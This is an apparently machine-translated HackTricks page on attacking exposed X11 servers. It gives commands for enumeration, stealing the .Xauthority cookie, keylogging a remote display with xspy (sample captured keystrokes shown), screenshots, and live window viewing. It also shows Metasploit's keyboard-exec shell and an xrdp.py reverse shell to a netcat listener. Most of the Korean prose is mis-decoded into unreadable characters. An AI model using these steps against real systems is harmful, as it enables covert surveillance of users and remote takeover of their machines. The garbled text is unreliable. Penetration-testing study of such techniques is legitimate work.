# 6000 - Pentesting X11
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
ํดํน์ ์ค๋ฆด๊ณผ ๋์ ์ ๋ํด ๊น์ด ์๋ ์ฝํ
์ธ ์ ์ฐธ์ฌํ์ธ์.
**Real-Time Hack News**\
์ค์๊ฐ ๋ด์ค์ ํต์ฐฐ๋ ฅ์ ํตํด ๋น ๋ฅด๊ฒ ๋ณํํ๋ ํดํน ์ธ๊ณ์ ์ต์ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
**Latest Announcements**\
์๋ก์ด ๋ฒ๊ทธ ๋ฐ์ดํฐ ์ถ์ ๋ฐ ์ค์ํ ํ๋ซํผ ์
๋ฐ์ดํธ์ ๋ํ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
**X Window System** (X)๋ UNIX ๊ธฐ๋ฐ ์ด์ ์ฒด์ ์์ ๋๋ฆฌ ์ฌ์ฉ๋๋ ๋ค๋ชฉ์ ์๋์ฐ ์์คํ
์
๋๋ค. ์ด๋ ๊ฐ๋ณ ํ๋ก๊ทธ๋จ์ด ์ฌ์ฉ์ ์ธํฐํ์ด์ค ๋์์ธ์ ์ฒ๋ฆฌํ๋ ๊ทธ๋ํฝ **user interfaces (GUIs)**๋ฅผ ์์ฑํ๊ธฐ ์ํ ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ด๋ฌํ ์ ์ฐ์ฑ์ X ํ๊ฒฝ ๋ด์์ ๋ค์ํ ๋ง์ถคํ ๊ฒฝํ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
**Default port:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeration
**์ต๋ช
์ฐ๊ฒฐ** ํ์ธ:
```bash
nmap -sV --script x11-access -p
msf> use auxiliary/scanner/x11/open_x11
```
#### Local Enumeration
์ฌ์ฉ์์ ํ ํด๋์ ์๋ ํ์ผ **`.Xauthority`**๋ **X11์ ์ธ์ฆ**์ **์ฌ์ฉ๋ฉ๋๋ค**. [**์ฌ๊ธฐ**](https://stackoverflow.com/a/37367518)์์:
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: 128๋นํธ ํค(โ์ฟ ํคโ)๋ฅผ ์์ฑํ๊ณ ์ด๋ฅผ \~/.Xauthority(๋๋ XAUTHORITY envvar๊ฐ ๊ฐ๋ฆฌํค๋ ์์น)์ ์ ์ฅํฉ๋๋ค. ํด๋ผ์ด์ธํธ๋ ์ด๋ฅผ ์๋ฒ์ ํ๋ฌธ์ผ๋ก ์ ์กํฉ๋๋ค! ์๋ฒ๋ ์ด โ์ฟ ํคโ์ ๋ณต์ฌ๋ณธ์ด ์๋์ง ํ์ธํ๊ณ , ์๋ค๋ฉด ์ฐ๊ฒฐ์ด ํ์ฉ๋ฉ๋๋ค. ํค๋ DMX์ ์ํด ์์ฑ๋ฉ๋๋ค.
{% hint style="warning" %}
**์ฟ ํค๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด** ํ๊ฒฝ ๋ณ์๋ฅผ ์ค์ ํด์ผ ํฉ๋๋ค: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### ๋ก์ปฌ ์ด๊ฑฐ ์ธ์
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
์์ ์์ `localhost:0`์ xfce4-session์ ์คํํ๊ณ ์์์ต๋๋ค.
## ์ฐ๊ฒฐ ํ์ธ
```bash
xdpyinfo -display :
xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## ํค๋ก๊น
[xspy](http://tools.kali.org/sniffingspoofing/xspy)๋ฅผ ์ฌ์ฉํ์ฌ ํค๋ณด๋ ์
๋ ฅ์ ์ค๋ํํฉ๋๋ค.
์ํ ์ถ๋ ฅ:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## ์คํฌ๋ฆฐ์ท ์บก์ฒ
```bash
xwd -root -screen -silent -display > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## ์๊ฒฉ ๋ฐ์คํฌํฑ ๋ณด๊ธฐ
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py
```
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
๋จผ์ xwininfo๋ฅผ ์ฌ์ฉํ์ฌ ์ฐฝ์ ID๋ฅผ ์ฐพ์์ผ ํฉ๋๋ค.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
**์ค์๊ฐ ๋ณด๊ธฐ**๋ฅผ ์ํด ์ฐ๋ฆฌ๋ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## ์
ธ ์ป๊ธฐ
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
**๋ฆฌ๋ฒ์ค ์
ธ:** Xrdp๋ ๋ํ Netcat์ ํตํด ๋ฆฌ๋ฒ์ค ์
ธ์ ํ์ฉํฉ๋๋ค. ๋ค์ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํ์ธ์:
```bash
./xrdp.py \ โno-disp
```
์ธํฐํ์ด์ค์์ **R-shell ์ต์
**์ ๋ณผ ์ ์์ต๋๋ค.
๊ทธ๋ฐ ๋ค์, ๋ก์ปฌ ์์คํ
์์ ํฌํธ 5555์์ **Netcat ๋ฆฌ์ค๋**๋ฅผ ์์ํฉ๋๋ค.
```bash
nc -lvp 5555
```
๊ทธ๋ฐ ๋ค์, **R-Shell** ์ต์
์ IP ์ฃผ์์ ํฌํธ๋ฅผ ์
๋ ฅํ๊ณ **R-shell**์ ํด๋ฆญํ์ฌ ์
ธ์ ์ป์ต๋๋ค.
## References
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
* `port:6000 x11`
๊ฒฝํ์ด ํ๋ถํ ํด์ปค ๋ฐ ๋ฒ๊ทธ ๋ฐ์ดํฐ ํํฐ์ ์ํตํ๊ธฐ ์ํด [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ์๋ฒ์ ์ฐธ์ฌํ์ธ์!
**Hacking Insights**\
ํดํน์ ์ค๋ฆด๊ณผ ๋์ ์ ๋ํด ๊น์ด ์๋ ์ฝํ
์ธ ์ ์ฐธ์ฌํ์ธ์.
**Real-Time Hack News**\
์ค์๊ฐ ๋ด์ค์ ํต์ฐฐ๋ ฅ์ ํตํด ๋น ๋ฅด๊ฒ ๋ณํํ๋ ํดํน ์ธ๊ณ์ ์ต์ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
**Latest Announcements**\
์๋ก์ด ๋ฒ๊ทธ ๋ฐ์ดํฐ ์ถ์ ๋ฐ ์ค์ํ ํ๋ซํผ ์
๋ฐ์ดํธ์ ๋ํ ์ ๋ณด๋ฅผ ์ ์งํ์ธ์.
**์ง๊ธ** [**Discord**](https://discord.com/invite/N3FrSbmwdy)์ ์ฐธ์ฌํ์ฌ ์ต๊ณ ์ ํด์ปค๋ค๊ณผ ํ์
์ ์์ํ์ธ์!
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* ๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
{% endhint %}